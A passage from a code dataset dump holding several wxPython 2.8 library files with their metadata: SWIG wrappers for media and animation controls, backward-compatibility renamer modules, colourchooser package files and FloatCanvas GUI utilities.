bool\"\"\"\n return _media.MediaCtrl_Pause(*args, **kwargs)\n\n def Stop(*args, **kwargs):\n \"\"\"Stop(self) -> bool\"\"\"\n return _media.MediaCtrl_Stop(*args, **kwargs)\n\n def GetState(*args, **kwargs):\n \"\"\"GetState(self) -> int\"\"\"\n return _media.MediaCtrl_GetState(*args, **kwargs)\n\n def GetPlaybackRate(*args, **kwargs):\n \"\"\"GetPlaybackRate(self) -> double\"\"\"\n return _media.MediaCtrl_GetPlaybackRate(*args, **kwargs)\n\n def SetPlaybackRate(*args, **kwargs):\n \"\"\"SetPlaybackRate(self, double dRate) -> bool\"\"\"\n return _media.MediaCtrl_SetPlaybackRate(*args, **kwargs)\n\n def Seek(*args, **kwargs):\n \"\"\"Seek(self, wxFileOffset where, int mode=FromStart) -> wxFileOffset\"\"\"\n return _media.MediaCtrl_Seek(*args, **kwargs)\n\n def Tell(*args, **kwargs):\n \"\"\"Tell(self) -> wxFileOffset\"\"\"\n return _media.MediaCtrl_Tell(*args, **kwargs)\n\n def Length(*args, **kwargs):\n \"\"\"Length(self) -> wxFileOffset\"\"\"\n return _media.MediaCtrl_Length(*args, **kwargs)\n\n def GetVolume(*args, **kwargs):\n \"\"\"GetVolume(self) -> double\"\"\"\n return _media.MediaCtrl_GetVolume(*args, **kwargs)\n\n def SetVolume(*args, **kwargs):\n \"\"\"SetVolume(self, double dVolume) -> bool\"\"\"\n return _media.MediaCtrl_SetVolume(*args, **kwargs)\n\n def ShowPlayerControls(*args, **kwargs):\n \"\"\"ShowPlayerControls(self, int flags=MEDIACTRLPLAYERCONTROLS_DEFAULT) -> bool\"\"\"\n return _media.MediaCtrl_ShowPlayerControls(*args, **kwargs)\n\n def Load(*args, **kwargs):\n \"\"\"Load(self, String fileName) -> bool\"\"\"\n return _media.MediaCtrl_Load(*args, **kwargs)\n\n def LoadURI(*args, **kwargs):\n \"\"\"LoadURI(self, String fileName) -> bool\"\"\"\n return _media.MediaCtrl_LoadURI(*args, **kwargs)\n\n def LoadURIWithProxy(*args, **kwargs):\n \"\"\"LoadURIWithProxy(self, String fileName, String proxy) -> bool\"\"\"\n return _media.MediaCtrl_LoadURIWithProxy(*args, **kwargs)\n\n LoadFromURI = LoadURI \n def GetDownloadProgress(*args, **kwargs):\n \"\"\"GetDownloadProgress(self) -> wxFileOffset\"\"\"\n return _media.MediaCtrl_GetDownloadProgress(*args, **kwargs)\n\n def GetDownloadTotal(*args, **kwargs):\n \"\"\"GetDownloadTotal(self) -> wxFileOffset\"\"\"\n return _media.MediaCtrl_GetDownloadTotal(*args, **kwargs)\n\n DownloadProgress = property(GetDownloadProgress,doc=\"See `GetDownloadProgress`\") \n DownloadTotal = property(GetDownloadTotal,doc=\"See `GetDownloadTotal`\") \n PlaybackRate = property(GetPlaybackRate,SetPlaybackRate,doc=\"See `GetPlaybackRate` and `SetPlaybackRate`\") \n State = property(GetState,doc=\"See `GetState`\") \n Volume = property(GetVolume,SetVolume,doc=\"See `GetVolume` and `SetVolume`\") \n_media.MediaCtrl_swigregister(MediaCtrl)\nMediaCtrlNameStr = cvar.MediaCtrlNameStr\n\ndef PreMediaCtrl(*args, **kwargs):\n \"\"\"PreMediaCtrl() -> MediaCtrl\"\"\"\n val = _media.new_PreMediaCtrl(*args, **kwargs)\n return val\n\nwxEVT_MEDIA_FINISHED = _media.wxEVT_MEDIA_FINISHED\nwxEVT_MEDIA_STOP = _media.wxEVT_MEDIA_STOP\nwxEVT_MEDIA_LOADED = _media.wxEVT_MEDIA_LOADED\nwxEVT_MEDIA_STATECHANGED = _media.wxEVT_MEDIA_STATECHANGED\nwxEVT_MEDIA_PLAY = _media.wxEVT_MEDIA_PLAY\nwxEVT_MEDIA_PAUSE = _media.wxEVT_MEDIA_PAUSE\nEVT_MEDIA_FINISHED = wx.PyEventBinder( wxEVT_MEDIA_FINISHED, 1)\nEVT_MEDIA_STOP = wx.PyEventBinder( wxEVT_MEDIA_STOP, 1)\nEVT_MEDIA_LOADED = wx.PyEventBinder( wxEVT_MEDIA_LOADED, 1)\nEVT_MEDIA_STATECHANGED = wx.PyEventBinder( wxEVT_MEDIA_STATECHANGED, 1)\nEVT_MEDIA_PLAY = wx.PyEventBinder( wxEVT_MEDIA_PLAY, 1)\nEVT_MEDIA_PAUSE = wx.PyEventBinder( wxEVT_MEDIA_PAUSE, 1)\n\n\n\n", "id": "3966737", "language": "Python", "matching_score": 3.8365421295166016, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/media.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n##\n## Generated by BuildRenamers in config.py\n\n# This silly stuff here is so the wxPython.wx module doesn't conflict\n# with the wx package. We need to import modules from the wx package\n# here, then we'll put the wxPython.wx entry back in sys.modules.\nimport sys\n_wx = None\nif sys.modules.has_key('wxPython.wx'):\n _wx = sys.modules['wxPython.wx']\n del sys.modules['wxPython.wx']\n\nimport wx.media\n\nsys.modules['wxPython.wx'] = _wx\ndel sys, _wx\n\n\n# Now assign all the reverse-renamed names:\nwxMEDIASTATE_STOPPED = wx.media.MEDIASTATE_STOPPED\nwxMEDIASTATE_PAUSED = wx.media.MEDIASTATE_PAUSED\nwxMEDIASTATE_PLAYING = wx.media.MEDIASTATE_PLAYING\nwxMEDIACTRLPLAYERCONTROLS_NONE = wx.media.MEDIACTRLPLAYERCONTROLS_NONE\nwxMEDIACTRLPLAYERCONTROLS_STEP = wx.media.MEDIACTRLPLAYERCONTROLS_STEP\nwxMEDIACTRLPLAYERCONTROLS_VOLUME = wx.media.MEDIACTRLPLAYERCONTROLS_VOLUME\nwxMEDIACTRLPLAYERCONTROLS_DEFAULT = wx.media.MEDIACTRLPLAYERCONTROLS_DEFAULT\nwxMEDIABACKEND_DIRECTSHOW = wx.media.MEDIABACKEND_DIRECTSHOW\nwxMEDIABACKEND_MCI = wx.media.MEDIABACKEND_MCI\nwxMEDIABACKEND_QUICKTIME = wx.media.MEDIABACKEND_QUICKTIME\nwxMEDIABACKEND_GSTREAMER = wx.media.MEDIABACKEND_GSTREAMER\nwxMEDIABACKEND_REALPLAYER = wx.media.MEDIABACKEND_REALPLAYER\nwxMEDIABACKEND_WMP10 = wx.media.MEDIABACKEND_WMP10\nwxMediaEvent = wx.media.MediaEvent\nwxMediaCtrlNameStr = wx.media.MediaCtrlNameStr\nwxMediaCtrl = wx.media.MediaCtrl\nwxPreMediaCtrl = wx.media.PreMediaCtrl\nwxEVT_MEDIA_FINISHED = wx.media.wxEVT_MEDIA_FINISHED\nwxEVT_MEDIA_STOP = wx.media.wxEVT_MEDIA_STOP\nwxEVT_MEDIA_LOADED = wx.media.wxEVT_MEDIA_LOADED\nwxEVT_MEDIA_STATECHANGED = wx.media.wxEVT_MEDIA_STATECHANGED\nwxEVT_MEDIA_PLAY = wx.media.wxEVT_MEDIA_PLAY\nwxEVT_MEDIA_PAUSE = wx.media.wxEVT_MEDIA_PAUSE\n\n\n", "id": "3147615", "language": "Python", "matching_score": 0.21269886195659637, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/media.py" }, { "content": "# This file was created automatically by SWIG 1.3.29.\n# Don't modify this file, modify the SWIG interface instead.\n\n\"\"\"\nSimple animation player classes, including `GIFAnimationCtrl` for displaying\nanimated GIF files\n\n\"\"\"\n\nimport _animate\nimport new\nnew_instancemethod = new.instancemethod\ndef _swig_setattr_nondynamic(self,class_type,name,value,static=1):\n if (name == \"thisown\"): return self.this.own(value)\n if (name == \"this\"):\n if type(value).__name__ == 'PySwigObject':\n self.__dict__[name] = value\n return\n method = class_type.__swig_setmethods__.get(name,None)\n if method: return method(self,value)\n if (not static) or hasattr(self,name):\n self.__dict__[name] = value\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n\ndef _swig_setattr(self,class_type,name,value):\n return _swig_setattr_nondynamic(self,class_type,name,value,0)\n\ndef _swig_getattr(self,class_type,name):\n if (name == \"thisown\"): return self.this.own()\n method = class_type.__swig_getmethods__.get(name,None)\n if method: return method(self)\n raise AttributeError,name\n\ndef _swig_repr(self):\n try: strthis = \"proxy of \" + self.this.__repr__()\n except: strthis = \"\"\n return \"<%s.%s; %s >\" % (self.__class__.__module__, self.__class__.__name__, strthis,)\n\nimport types\ntry:\n _object = types.ObjectType\n _newclass = 1\nexcept AttributeError:\n class _object : pass\n _newclass = 0\ndel types\n\n\ndef _swig_setattr_nondynamic_method(set):\n def set_attr(self,name,value):\n if (name == \"thisown\"): return self.this.own(value)\n if hasattr(self,name) or (name == \"this\"):\n set(self,name,value)\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n return set_attr\n\n\nimport _core\nimport wx \n__docfilter__ = wx._core.__DocFilter(globals()) \nANIM_UNSPECIFIED = _animate.ANIM_UNSPECIFIED\nANIM_DONOTREMOVE = _animate.ANIM_DONOTREMOVE\nANIM_TOBACKGROUND = _animate.ANIM_TOBACKGROUND\nANIM_TOPREVIOUS = _animate.ANIM_TOPREVIOUS\nANIMATION_TYPE_INVALID = _animate.ANIMATION_TYPE_INVALID\nANIMATION_TYPE_GIF = _animate.ANIMATION_TYPE_GIF\nANIMATION_TYPE_ANI = _animate.ANIMATION_TYPE_ANI\nANIMATION_TYPE_ANY = _animate.ANIMATION_TYPE_ANY\nclass AnimationBase(_core.Object):\n \"\"\"Proxy of C++ AnimationBase class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _animate.delete_AnimationBase\n __del__ = lambda self : None;\n def IsOk(*args, **kwargs):\n \"\"\"IsOk(self) -> bool\"\"\"\n return _animate.AnimationBase_IsOk(*args, **kwargs)\n\n def GetDelay(*args, **kwargs):\n \"\"\"GetDelay(self, int i) -> int\"\"\"\n return _animate.AnimationBase_GetDelay(*args, **kwargs)\n\n def GetFrameCount(*args, **kwargs):\n \"\"\"GetFrameCount(self) -> int\"\"\"\n return _animate.AnimationBase_GetFrameCount(*args, **kwargs)\n\n def GetFrame(*args, **kwargs):\n \"\"\"GetFrame(self, int i) -> Image\"\"\"\n return _animate.AnimationBase_GetFrame(*args, **kwargs)\n\n def GetSize(*args, **kwargs):\n \"\"\"GetSize(self) -> Size\"\"\"\n return _animate.AnimationBase_GetSize(*args, **kwargs)\n\n def LoadFile(*args, **kwargs):\n \"\"\"LoadFile(self, String name, int type=ANIMATION_TYPE_ANY) -> bool\"\"\"\n return _animate.AnimationBase_LoadFile(*args, **kwargs)\n\n def Load(*args, **kwargs):\n \"\"\"Load(self, InputStream stream, int type=ANIMATION_TYPE_ANY) -> bool\"\"\"\n return _animate.AnimationBase_Load(*args, **kwargs)\n\n_animate.AnimationBase_swigregister(AnimationBase)\ncvar = _animate.cvar\nAnimationCtrlNameStr = cvar.AnimationCtrlNameStr\n\nclass Animation(AnimationBase):\n \"\"\"Proxy of C++ Animation class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args): \n \"\"\"\n __init__(self) -> Animation\n __init__(self, String name, int type=ANIMATION_TYPE_ANY) -> Animation\n \"\"\"\n _animate.Animation_swiginit(self,_animate.new_Animation(*args))\n __swig_destroy__ = _animate.delete_Animation\n __del__ = lambda self : None;\n def GetFramePosition(*args, **kwargs):\n \"\"\"GetFramePosition(self, int frame) -> Point\"\"\"\n return _animate.Animation_GetFramePosition(*args, **kwargs)\n\n def GetFrameSize(*args, **kwargs):\n \"\"\"GetFrameSize(self, int frame) -> Size\"\"\"\n return _animate.Animation_GetFrameSize(*args, **kwargs)\n\n def GetDisposalMethod(*args, **kwargs):\n \"\"\"GetDisposalMethod(self, int frame) -> int\"\"\"\n return _animate.Animation_GetDisposalMethod(*args, **kwargs)\n\n def GetTransparentColour(*args, **kwargs):\n \"\"\"GetTransparentColour(self, int frame) -> Colour\"\"\"\n return _animate.Animation_GetTransparentColour(*args, **kwargs)\n\n def GetBackgroundColour(*args, **kwargs):\n \"\"\"GetBackgroundColour(self) -> Colour\"\"\"\n return _animate.Animation_GetBackgroundColour(*args, **kwargs)\n\n_animate.Animation_swigregister(Animation)\n\nAC_NO_AUTORESIZE = _animate.AC_NO_AUTORESIZE\nAC_DEFAULT_STYLE = _animate.AC_DEFAULT_STYLE\nAN_FIT_ANIMATION = _animate.AN_FIT_ANIMATION\nclass AnimationCtrlBase(_core.Control):\n \"\"\"Proxy of C++ AnimationCtrlBase class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def LoadFile(*args, **kwargs):\n \"\"\"LoadFile(self, String filename, int type=ANIMATION_TYPE_ANY) -> bool\"\"\"\n return _animate.AnimationCtrlBase_LoadFile(*args, **kwargs)\n\n def SetAnimation(*args, **kwargs):\n \"\"\"SetAnimation(self, Animation anim)\"\"\"\n return _animate.AnimationCtrlBase_SetAnimation(*args, **kwargs)\n\n def GetAnimation(*args, **kwargs):\n \"\"\"GetAnimation(self) -> Animation\"\"\"\n return _animate.AnimationCtrlBase_GetAnimation(*args, **kwargs)\n\n Animation = property(GetAnimation,SetAnimation) \n def Play(*args, **kwargs):\n \"\"\"Play(self) -> bool\"\"\"\n return _animate.AnimationCtrlBase_Play(*args, **kwargs)\n\n def Stop(*args, **kwargs):\n \"\"\"Stop(self)\"\"\"\n return _animate.AnimationCtrlBase_Stop(*args, **kwargs)\n\n def IsPlaying(*args, **kwargs):\n \"\"\"IsPlaying(self) -> bool\"\"\"\n return _animate.AnimationCtrlBase_IsPlaying(*args, **kwargs)\n\n def SetInactiveBitmap(*args, **kwargs):\n \"\"\"SetInactiveBitmap(self, Bitmap bmp)\"\"\"\n return _animate.AnimationCtrlBase_SetInactiveBitmap(*args, **kwargs)\n\n def GetInactiveBitmap(*args, **kwargs):\n \"\"\"GetInactiveBitmap(self) -> Bitmap\"\"\"\n return _animate.AnimationCtrlBase_GetInactiveBitmap(*args, **kwargs)\n\n InactiveBitmap = property(GetInactiveBitmap,SetInactiveBitmap) \n_animate.AnimationCtrlBase_swigregister(AnimationCtrlBase)\nNullAnimation = cvar.NullAnimation\n\nclass AnimationCtrl(AnimationCtrlBase):\n \"\"\"Proxy of C++ AnimationCtrl class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Animation anim=NullAnimation, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=AC_DEFAULT_STYLE, String name=AnimationCtrlNameStr) -> AnimationCtrl\n \"\"\"\n _animate.AnimationCtrl_swiginit(self,_animate.new_AnimationCtrl(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id, Animation anim=NullAnimation, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=AC_DEFAULT_STYLE, String name=AnimationCtrlNameStr) -> bool\n \"\"\"\n return _animate.AnimationCtrl_Create(*args, **kwargs)\n\n def SetUseWindowBackgroundColour(*args, **kwargs):\n \"\"\"SetUseWindowBackgroundColour(self, bool useWinBackground=True)\"\"\"\n return _animate.AnimationCtrl_SetUseWindowBackgroundColour(*args, **kwargs)\n\n def IsUsingWindowBackgroundColour(*args, **kwargs):\n \"\"\"IsUsingWindowBackgroundColour(self) -> bool\"\"\"\n return _animate.AnimationCtrl_IsUsingWindowBackgroundColour(*args, **kwargs)\n\n def DrawCurrentFrame(*args, **kwargs):\n \"\"\"DrawCurrentFrame(self, DC dc)\"\"\"\n return _animate.AnimationCtrl_DrawCurrentFrame(*args, **kwargs)\n\n def GetBackingStore(*args, **kwargs):\n \"\"\"GetBackingStore(self) -> Bitmap\"\"\"\n return _animate.AnimationCtrl_GetBackingStore(*args, **kwargs)\n\n_animate.AnimationCtrl_swigregister(AnimationCtrl)\n\ndef PreAnimationCtrl(*args, **kwargs):\n \"\"\"PreAnimationCtrl() -> AnimationCtrl\"\"\"\n val = _animate.new_PreAnimationCtrl(*args, **kwargs)\n return val\n\nclass GIFAnimationCtrl(AnimationCtrl):\n \"\"\"\n Backwards compatibility class for AnimationCtrl.\n \"\"\"\n def __init__(self, parent, id=-1, filename=\"\",\n pos=wx.DefaultPosition, size=wx.DefaultSize,\n style=AC_DEFAULT_STYLE,\n name=\"gifAnimation\"):\n AnimationCtrl.__init__(self, parent, id, NullAnimation, pos, size, style, name)\n self.LoadFile(filename)\n\n def GetPlayer(self):\n return self\n\n def UseBackgroundColour(self, useBackground=True):\n self.SetUseWindowBackgroundColour(useBackground)\n\n\n\n", "id": "1219791", "language": "Python", "matching_score": 3.926750898361206, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/animate.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n##\n## Generated by BuildRenamers in config.py\n\n# This silly stuff here is so the wxPython.wx module doesn't conflict\n# with the wx package. We need to import modules from the wx package\n# here, then we'll put the wxPython.wx entry back in sys.modules.\nimport sys\n_wx = None\nif sys.modules.has_key('wxPython.wx'):\n _wx = sys.modules['wxPython.wx']\n del sys.modules['wxPython.wx']\n\nimport wx.animate\n\nsys.modules['wxPython.wx'] = _wx\ndel sys, _wx\n\n\n# Now assign all the reverse-renamed names:\nwxANIM_UNSPECIFIED = wx.animate.ANIM_UNSPECIFIED\nwxANIM_DONOTREMOVE = wx.animate.ANIM_DONOTREMOVE\nwxANIM_TOBACKGROUND = wx.animate.ANIM_TOBACKGROUND\nwxANIM_TOPREVIOUS = wx.animate.ANIM_TOPREVIOUS\nwxAnimation = wx.animate.Animation\nwxAnimationCtrl = wx.animate.AnimationCtrl\nwxAnimationBase = wx.animate.AnimationBase\nwxGIFAnimationCtrl = wx.animate.GIFAnimationCtrl\n\n\n", "id": "9284958", "language": "Python", "matching_score": 0.7934678792953491, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/animate.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n##\n## Generated by BuildRenamers in config.py\n\n# This silly stuff here is so the wxPython.wx module doesn't conflict\n# with the wx package. We need to import modules from the wx package\n# here, then we'll put the wxPython.wx entry back in sys.modules.\nimport sys\n_wx = None\nif sys.modules.has_key('wxPython.wx'):\n _wx = sys.modules['wxPython.wx']\n del sys.modules['wxPython.wx']\n\nimport wx.glcanvas\n\nsys.modules['wxPython.wx'] = _wx\ndel sys, _wx\n\n\n# Now assign all the reverse-renamed names:\nwxGLCanvasNameStr = wx.glcanvas.GLCanvasNameStr\nwxGLContext = wx.glcanvas.GLContext\nWX_GL_RGBA = wx.glcanvas.WX_GL_RGBA\nWX_GL_BUFFER_SIZE = wx.glcanvas.WX_GL_BUFFER_SIZE\nWX_GL_LEVEL = wx.glcanvas.WX_GL_LEVEL\nWX_GL_DOUBLEBUFFER = wx.glcanvas.WX_GL_DOUBLEBUFFER\nWX_GL_STEREO = wx.glcanvas.WX_GL_STEREO\nWX_GL_AUX_BUFFERS = wx.glcanvas.WX_GL_AUX_BUFFERS\nWX_GL_MIN_RED = wx.glcanvas.WX_GL_MIN_RED\nWX_GL_MIN_GREEN = wx.glcanvas.WX_GL_MIN_GREEN\nWX_GL_MIN_BLUE = wx.glcanvas.WX_GL_MIN_BLUE\nWX_GL_MIN_ALPHA = wx.glcanvas.WX_GL_MIN_ALPHA\nWX_GL_DEPTH_SIZE = wx.glcanvas.WX_GL_DEPTH_SIZE\nWX_GL_STENCIL_SIZE = wx.glcanvas.WX_GL_STENCIL_SIZE\nWX_GL_MIN_ACCUM_RED = wx.glcanvas.WX_GL_MIN_ACCUM_RED\nWX_GL_MIN_ACCUM_GREEN = wx.glcanvas.WX_GL_MIN_ACCUM_GREEN\nWX_GL_MIN_ACCUM_BLUE = wx.glcanvas.WX_GL_MIN_ACCUM_BLUE\nWX_GL_MIN_ACCUM_ALPHA = wx.glcanvas.WX_GL_MIN_ACCUM_ALPHA\nwxGLCanvas = wx.glcanvas.GLCanvas\nwxGLCanvasWithContext = wx.glcanvas.GLCanvasWithContext\n\n\n", "id": "4123054", "language": "Python", "matching_score": 1.5325709581375122, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/glcanvas.py" }, { "content": "# The \"old\" wxPython package\n\nimport warnings\nwarnings.warn(\n \"The wxPython compatibility package is no longer automatically generated \"\n \"or actively maintained. Please switch to the wx package as soon as possible.\",\n DeprecationWarning, stacklevel=2)\n\n# We need to be able to import from the wx package, but there is also\n# a wxPython.wx module and that would normally be chosen first by\n# import statements. So instead we'll have a wxPython._wx module and\n# then stuff it into sys.modules with a wxPython.wx alias so old\n# programs will still work.\n\nimport _wx\nimport sys\nsys.modules['wxPython.wx'] = _wx\nwx = _wx\ndel sys\n\nfrom wx import __version__\n", "id": "7033174", "language": "Python", "matching_score": 0.22893646359443665, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/__init__.py" }, { "content": "\"\"\"\nPyColourChooser\nCopyright (C) 2002 <NAME> <<EMAIL>>\n\nThis file is part of PyColourChooser.\n\nThis version of PyColourChooser is open source; you can redistribute it\nand/or modify it under the licensed terms.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n\"\"\"\n\ntry:\n import gettext\n\n gettext.bindtextdomain('pycolourchooser')\n gettext.textdomain('pycolourchooser')\n _ = gettext.gettext\nexcept Exception, strerror:\n print \"Warning: Couldn't import translation function: %(str)s\" %{ 'str' : strerror }\n print \"Defaulting to En\"\n _ = lambda x: x\n", "id": "9088985", "language": "Python", "matching_score": 3.2452707290649414, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/colourchooser/intl.py" }, { "content": "\"\"\"\nwxPyColourChooser\nCopyright (C) 2002 <NAME> <<EMAIL>>\n\nThis file is part of wxPyColourChooser.\n\nThis version of wxPyColourChooser is open source; you can redistribute it\nand/or modify it under the licensed terms.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n\"\"\"\n\nfrom pycolourchooser import *\n\n# For the American in you\nwxPyColorChooser = wxPyColourChooser\n\n__all__ = [\n 'canvas',\n 'pycolourbox',\n 'pycolourchooser',\n 'pycolourslider',\n 'pypalette',\n]\n\n\n", "id": "63420", "language": "Python", "matching_score": 0.8631336688995361, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/colourchooser/__init__.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.colourchooser.pypalette\n\n__doc__ = wx.lib.colourchooser.pypalette.__doc__\n\nPyPalette = wx.lib.colourchooser.pypalette.PyPalette\ngetBitmap = wx.lib.colourchooser.pypalette.getBitmap\ngetData = wx.lib.colourchooser.pypalette.getData\ngetImage = wx.lib.colourchooser.pypalette.getImage\n", "id": "4838195", "language": "Python", "matching_score": 2.932562828063965, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/colourchooser/pypalette.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.PythonBitmaps\n\n__doc__ = wx.lib.PythonBitmaps.__doc__\n\nPythonBitmaps = wx.lib.PythonBitmaps.PythonBitmaps\ngetPythonPoweredBitmap = wx.lib.PythonBitmaps.getPythonPoweredBitmap\ngetPythonPoweredData = wx.lib.PythonBitmaps.getPythonPoweredData\ngetPythonPoweredImage = wx.lib.PythonBitmaps.getPythonPoweredImage\ngetwxPythonBitmap = wx.lib.PythonBitmaps.getwxPythonBitmap\ngetwxPythonData = wx.lib.PythonBitmaps.getwxPythonData\ngetwxPythonImage = wx.lib.PythonBitmaps.getwxPythonImage\n", "id": "10750060", "language": "Python", "matching_score": 0.39747554063796997, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/PythonBitmaps.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.floatcanvas\n\n__doc__ = wx.lib.floatcanvas.__doc__\n\nCircle = wx.lib.floatcanvas.Circle\nDot = wx.lib.floatcanvas.Dot\nEllipse = wx.lib.floatcanvas.Ellipse\nFloatCanvas = wx.lib.floatcanvas.FloatCanvas\nGetHandBitmap = wx.lib.floatcanvas.GetHandBitmap\nGetHandData = wx.lib.floatcanvas.GetHandData\nGetMinusBitmap = wx.lib.floatcanvas.GetMinusBitmap\nGetMinusData = wx.lib.floatcanvas.GetMinusData\nGetPlusBitmap = wx.lib.floatcanvas.GetPlusBitmap\nGetPlusData = wx.lib.floatcanvas.GetPlusData\nLine = wx.lib.floatcanvas.Line\nLineSet = wx.lib.floatcanvas.LineSet\nPointSet = wx.lib.floatcanvas.PointSet\nPolygon = wx.lib.floatcanvas.Polygon\nPolygonSet = wx.lib.floatcanvas.PolygonSet\nRectangle = wx.lib.floatcanvas.Rectangle\nText = wx.lib.floatcanvas.Text\ndraw_object = wx.lib.floatcanvas.draw_object\n", "id": "9308888", "language": "Python", "matching_score": 1.7049466371536255, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/floatcanvas.py" }, { "content": "\"\"\"\n\nPart of the floatcanvas.Utilities package.\n\nThis module contains assorted GUI-related utilities that can be used\nwith FloatCanvas\n\nSo far, they are:\n\nRubberBandBox: used to draw a RubberBand Box on the screen\n\n\"\"\"\n\nimport wx\nfrom wx.lib.floatcanvas import FloatCanvas\n\nclass RubberBandBox:\n \"\"\"\n Class to provide a rubber band box that can be drawn on a Window\n\n \"\"\"\n\n def __init__(self, Canvas, CallBack, Tol=5):\n\n \"\"\"\n To initialize:\n \n RubberBandBox(Canvas, CallBack)\n\n Canvas: the FloatCanvas you want the Rubber band box to be used on\n\n CallBack: is the method you want called when the mouse is\n released. That method will be called, passing in a rect\n parameter, where rect is: (Point, WH) of the rect in\n world coords.\n\n Tol: The tolerance for the smallest rectangle allowed. defaults\n to 5. In pixels\n\n Methods:\n \n Enable() : Enables the Rubber Band Box (Binds the events)\n \n Disable() : Enables the Rubber Band Box (Unbinds the events)\n\n Attributes:\n\n CallBack: The callback function, if it's replaced you need to\n call Enable() again.\n \n \"\"\"\n\n self.Canvas = Canvas\n self.CallBack = CallBack\n self.Tol = Tol\n \n self.Drawing = False\n self.RBRect = None\n self.StartPointWorld = None\n\n return None\n\n def Enable(self):\n \"\"\"\n Called when you want the rubber band box to be enabled\n\n \"\"\"\n\n # bind events:\n self.Canvas.Bind(FloatCanvas.EVT_MOTION, self.OnMove ) \n self.Canvas.Bind(FloatCanvas.EVT_LEFT_DOWN, self.OnLeftDown)\n self.Canvas.Bind(FloatCanvas.EVT_LEFT_UP, self.OnLeftUp ) \n\n def Disable(self):\n \"\"\"\n Called when you don't want the rubber band box to be enabled\n\n \"\"\"\n\n # unbind events:\n self.Canvas.Unbind(FloatCanvas.EVT_MOTION)\n self.Canvas.Unbind(FloatCanvas.EVT_LEFT_DOWN)\n self.Canvas.Unbind(FloatCanvas.EVT_LEFT_UP)\n\n def OnMove(self, event):\n if self.Drawing:\n x, y = self.StartPoint\n Cornerx, Cornery = event.GetPosition()\n w, h = ( Cornerx - x, Cornery - y)\n if abs(w) > self.Tol and abs(h) > self.Tol:\n # draw the RB box\n dc = wx.ClientDC(self.Canvas)\n dc.SetPen(wx.Pen('WHITE', 2, wx.SHORT_DASH))\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n dc.SetLogicalFunction(wx.XOR)\n if self.RBRect:\n dc.DrawRectangle(*self.RBRect)\n self.RBRect = (x, y, w, h )\n dc.DrawRectangle(*self.RBRect)\n event.Skip() # skip so that other events can catch these\n\n def OnLeftDown(self, event):\n # Start drawing\n self.Drawing = True\n self.StartPoint = event.GetPosition()\n self.StartPointWorld = event.Coords\n \n def OnLeftUp(self, event):\n # Stop Drawing\n if self.Drawing:\n self.Drawing = False\n if self.RBRect:\n WH = event.Coords - self.StartPointWorld\n wx.CallAfter(self.CallBack, (self.StartPointWorld, WH))\n self.RBRect = None\n self.StartPointWorld = None\n", "id": "366199", "language": "Python", "matching_score": 1.8510396480560303, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/floatcanvas/Utilities/GUI.py" }, { "content": "\"\"\"\nA Panel that includes the FloatCanvas and Navigation controls\n\n\"\"\"\n\nimport wx\nimport FloatCanvas, Resources, GUIMode\n\nclass NavCanvas(wx.Panel):\n \"\"\"\n NavCanvas.py\n\n This is a high level window that encloses the FloatCanvas in a panel\n and adds a Navigation toolbar.\n\n \"\"\"\n\n def __init__(self,\n parent,\n id = wx.ID_ANY,\n size = wx.DefaultSize,\n **kwargs): # The rest just get passed into FloatCanvas\n wx.Panel.__init__(self, parent, id, size=size)\n\n self.Modes = [(\"Pointer\", GUIMode.GUIMouse(), Resources.getPointerBitmap()),\n (\"Zoom In\", GUIMode.GUIZoomIn(), Resources.getMagPlusBitmap()),\n (\"Zoom 